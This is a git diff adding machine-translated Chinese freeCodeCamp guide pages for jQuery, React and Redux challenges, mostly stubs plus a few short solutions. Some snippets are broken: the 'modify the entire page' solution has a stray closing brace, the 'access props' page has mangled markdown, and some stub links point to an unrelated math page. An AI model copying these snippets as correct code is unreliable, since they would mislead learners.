+---
+## 前端图书馆项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/index.md b/client/src/guide/chinese/certifications/front-end-libraries/index.md
new file mode 100644
index 0000000000..e23f4e1a4e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/index.md
@@ -0,0 +1,17 @@
+---
+title: Front End Libraries
+localeTitle: 前端库
+---
+## 前端库
+
+前端库是一个文件或一段预先编写的代码，通过减少消耗的时间对用户有帮助。
+
+这些代码库可以帮助用户最大限度地缩短编写长行代码的时间，并提高他们的工作效率。例如，像[Bootstrap](https://getbootstrap.com/)这样的前端库为用户提供了一个构建框架，减少了消耗的时间，同时为用户提供了灵活性。
+
+库可以是固定的或非选择的，即为用户留下一些选择，而不是分别为用户留下任何选择。
+
+由于这些是前端库，因此它们使用HTML，CSS和JavaScript，并分别在浏览器中修改页面的布局，样式和行为。
+
+#### 更多信息：
+
+1.  [一些好的前端图书馆](https://medium.com/learnwithrahul/introduction-to-some-kick-ass-front-end-libraries-tools-963f55152f4b)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..93523b9d8e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: 使用jQuery更改元素内的文本
+---
+## 使用jQuery更改元素内的文本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..fa72c16a03
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: 使用jQuery更改元素的CSS
+---
+## 使用jQuery更改元素的CSS
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..5c60ae1638
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Clone an Element Using jQuery
+localeTitle: 使用jQuery克隆元素
+---
+## 使用jQuery克隆元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
new file mode 100644
index 0000000000..d23db7e64b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Your jQuery Functions
+localeTitle: 删除您的jQuery函数
+---
+## 删除您的jQuery函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..5b409fb9e8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable an Element Using jQuery
+localeTitle: 使用jQuery禁用元素
+---
+## 使用jQuery禁用元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/index.md
new file mode 100644
index 0000000000..63ca9548ae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/index.md
@@ -0,0 +1,11 @@
+---
+title: jQuery
+localeTitle: jQuery的
+---
+## jQuery的
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
new file mode 100644
index 0000000000..56d2254d74
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Script Tags and Document Ready Work
+localeTitle: 了解脚本标签和文档准备工作的方式
+---
+## 了解脚本标签和文档准备工作的方式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..d668831426
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element Using jQuery
+localeTitle: 使用jQuery删除元素
+---
+## 使用jQuery删除元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
new file mode 100644
index 0000000000..dc8bef6788
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Classes from an Element with jQuery
+localeTitle: 使用jQuery从元素中删除类
+---
+## 使用jQuery从元素中删除类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..d190c05c78
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target a Specific Child of an Element Using jQuery
+localeTitle: 使用jQuery定位元素的特定子元素
+---
+## 使用jQuery定位元素的特定子元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
new file mode 100644
index 0000000000..e5958482f0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
@@ -0,0 +1,20 @@
+---
+title: Target Elements by Class Using jQuery
+localeTitle: 使用jQuery按类目标元素
+---
+## 使用jQuery按类目标元素
+
+*   您可以使用jQuery类选择器查找元素。 // $（。className）
+*   在此示例中，它允许您选择类“.well”的元素
+
+## 解
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $(".well").addClass("animated bounce"); 
+    $(".well").addClass("shake"); 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
new file mode 100644
index 0000000000..d622b1f34a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
@@ -0,0 +1,18 @@
+---
+title: Target Elements by id Using jQuery
+localeTitle: id的目标元素使用jQuery
+---
+## id的目标元素使用jQuery
+
+## 解
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated bounce"); 
+    $(".well").addClass("animated shake"); 
+    $("#target3").addClass("fadeOut"); // Target elements with the id "target3" and add the class "fadeOut" to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
new file mode 100644
index 0000000000..2d2783f442
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target Even Elements Using jQuery
+localeTitle: 使用jQuery定位偶数元素
+---
+## 使用jQuery定位偶数元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
new file mode 100644
index 0000000000..35a71c294c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
@@ -0,0 +1,29 @@
+---
+title: Target HTML Elements with Selectors Using jQuery
+localeTitle: 使用选择器使用jQuery定位HTML元素
+---
+*   JQuery选择器允许您选择和操作HTML元素。
+*   这些选择器以美元符号和括号开头：$（）
+*   您可以根据名称，ID，类，类型，属性，属性值等“查找”（或选择）HTML元素。
+
+## 例
+
+```javascipt
+//You can select all <p> elements on a page like this  =  $("p") 
+  $(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+```
+
+## 解
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+      $("button").addClass("animated bounce"); // We are selecting the button elements and adding "animated bounce" class to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..fbd4152137
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target the Children of an Element Using jQuery
+localeTitle: 使用jQuery定位元素的子元素
+---
+## 使用jQuery定位元素的子元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..9ac90f4b9c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
@@ -0,0 +1,16 @@
+---
+title: Target the Parent of an Element Using jQuery
+localeTitle: 使用jQuery定位元素的父级
+---
+## 使用jQuery定位元素的父级
+
+## 解
+
+```js
+<script> 
+  $(document).ready(function() { 
+    $("#target1").parent().css("background-color", "red"); // Selects the parent of #target1 and changes its background-color to red 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
new file mode 100644
index 0000000000..1dc2b4f7fc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
@@ -0,0 +1,18 @@
+---
+title: Target the Same Element with Multiple jQuery Selectors
+localeTitle: 使用多个jQuery选择器定位相同的元素
+---
+## 使用多个jQuery选择器定位相同的元素
+
+## 解
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated"); // Target elements with type "button" and add the class "animated" to them. 
+    $(".btn").addClass("shake"); // Target elements with class ".btn" and add the class "shake" to them. 
+    $("#target1").addClass("btn-primary"); // Target elements with id "#target1" and add the class "btn-primary" to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
new file mode 100644
index 0000000000..f9d405b938
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Use appendTo to Move Elements with jQuery
+localeTitle: 使用appendTo使用jQuery移动元素
+---
+## 使用appendTo使用jQuery移动元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md b/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
new file mode 100644
index 0000000000..f05a7eeae8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
@@ -0,0 +1,23 @@
+---
+title: Use jQuery to Modify the Entire Page
+localeTitle: 使用jQuery修改整个页面
+---
+## 使用jQuery修改整个页面
+
+### 问题解释
+
+将`animated`类和`hinge`添加到您的`body`元素中。
+
+#### 相关链接：
+
+*   [.addClass（）](https://api.jquery.com/addClass/e)
+
+### 解：
+
+```javascript
+<script> 
+  $("body").addClass("animated hinge"); 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
new file mode 100644
index 0000000000..94814eb17f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to React
+localeTitle: 将Redux连接到React
+---
+## 将Redux连接到React
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
new file mode 100644
index 0000000000..4b90bc672d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to the Messages App
+localeTitle: 将Redux连接到消息应用程序
+---
+## 将Redux连接到消息应用程序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
new file mode 100644
index 0000000000..2b697c7392
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Extract Local State into Redux
+localeTitle: 将本地状态提取到Redux
+---
+## 将本地状态提取到Redux
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
new file mode 100644
index 0000000000..cecd22d827
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
@@ -0,0 +1,37 @@
+---
+title: Extract State Logic to Redux
+localeTitle: 将状态逻辑提取到Redux
+---
+## 将状态逻辑提取到Redux
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+建议的解决方案：
+
+```javascript
+const ADD = 'ADD'; 
+ 
+ function addMessage(message) { 
+  return { 
+    type: ADD, 
+    message: message 
+  }; 
+ }; 
+ 
+ function messageReducer (previousState, action) { 
+  return [...previousState, action.message]; 
+ } 
+ 
+ let store = { 
+  state: [], 
+  getState: () => store.state, 
+  dispatch: (action) => { 
+    if (action.type === ADD) { 
+      store.state = messageReducer(store.state, action); 
+    } 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
new file mode 100644
index 0000000000..ffcf4684c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Getting Started with React Redux
+localeTitle: React Redux入门
+---
+## React Redux入门
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/index.md
new file mode 100644
index 0000000000..fe903f2a72
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/index.md
@@ -0,0 +1,11 @@
+---
+title: React and Redux
+localeTitle: React和Redux
+---
+## React和Redux
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
new file mode 100644
index 0000000000..c34a3e5883
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage State Locally First
+localeTitle: 在当地管理国家
+---
+## 在当地管理国家
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
new file mode 100644
index 0000000000..4b0a002fb9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Dispatch to Props
+localeTitle: 将调度映射到道具
+---
+## 将调度映射到道具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
new file mode 100644
index 0000000000..aa72b2dccd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map State to Props
+localeTitle: 将状态映射到道具
+---
+## 将状态映射到道具
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
new file mode 100644
index 0000000000..2a29644ce6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
@@ -0,0 +1,9 @@
+---
+title: Moving Forward From Here
+localeTitle: 从这里前进
+---
+## 从这里前进
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
new file mode 100644
index 0000000000..5b8bdc970b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Provider to Connect Redux to React
+localeTitle: 使用Provider将Redux连接到React
+---
+## 使用Provider将Redux连接到React
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/access-props-using-this-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/access-props-using-this-props/index.md
new file mode 100644
index 0000000000..b6f304616a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/access-props-using-this-props/index.md
@@ -0,0 +1,18 @@
+---
+title: Access Props Using this.props
+localeTitle: 使用this.props访问道具
+---
+## ##使用this.props访问道具
+
+对于此解决方案，您需要首先记住如何将道具添加到父组件：
+
+\`\`\`JSX
+```
+Once you have the prop set, you can use this.props in your child component. 
+```
+
+HTML
+
+您的临时密码是： **{this.props.tempPassword}**
+
+\`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
new file mode 100644
index 0000000000..08c22b448e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
@@ -0,0 +1,30 @@
+---
+title: Add Comments in JSX
+localeTitle: 在JSX中添加注释
+---
+## 在JSX中添加注释
+
+您可以像在Javascript `/* some JS code */`那样使用代码块进行注释，但它们需要用花括号括起来在JSX中添加注释： 例如：
+
+*   单行评论：
+
+```jsx
+{/*<h1>Hanoi University of Science</h1>*/} 
+```
+
+*   多行评论：
+
+```jsx
+{/* 
+ <h1>Hanoi University of Science</h1> 
+ <p>Falculty of Mathematics, Mechanics and Informatics</p> 
+ */} 
+```
+
+注意：您不能在JSX中使用HTML注释，如下所示：
+
+```html
+
+<!-- not working --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/add-event-listeners/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/add-event-listeners/index.md
new file mode 100644
index 0000000000..fe4439effd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/add-event-listeners/index.md
@@ -0,0 +1,53 @@
+---
+title: Add Event Listeners
+localeTitle: 添加事件监听器
+---
+## 添加事件监听器
+
+这个挑战让您修改了两个生命周期方法componentDidMount和componentWillUnmount。如果要在事件中设置事件监听器，则可以使用componentDidMount。当您需要清除事物监听器时，可以使用componentWillUnmount。
+
+您将向componentDidMount方法添加一个事件侦听器，该方法将侦听“keydown”事件。使用document.addEventListener（event，function，optional（useCapture））。然后通过将相同的参数传递到componentWillUnmount方法中的document.removeEventListener（event，function，optional（useCapture））来删除此相同的事件侦听器。
+
+注意：document.addEventListener和document.removeEventListener将为其事件接受带引号的字符串，并且在传入函数时，您将引用函数handleKeyPress（）作为this.handleKeyPress。如果以this.handleKeyPress（）方式调用该函数，则事件侦听器将首先计算该函数，并将传回一个undefined值。
+
+```javascript
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: '' 
+    }; 
+    this.handleEnter = this.handleEnter.bind(this); 
+    this.handleKeyPress = this.handleKeyPress.bind(this); 
+  } 
+  // change code below this line 
+  componentDidMount() { 
+    document.addEventListener("keydown", this.handleKeyPress) 
+  } 
+  componentWillUnmount() { 
+    document.removeEventListener("keydown", this.handleKeyPress) 
+  } 
+  // change code above this line 
+  handleEnter() { 
+    this.setState({ 
+      message: this.state.message + 'You pressed the enter key! ' 
+    }); 
+  } 
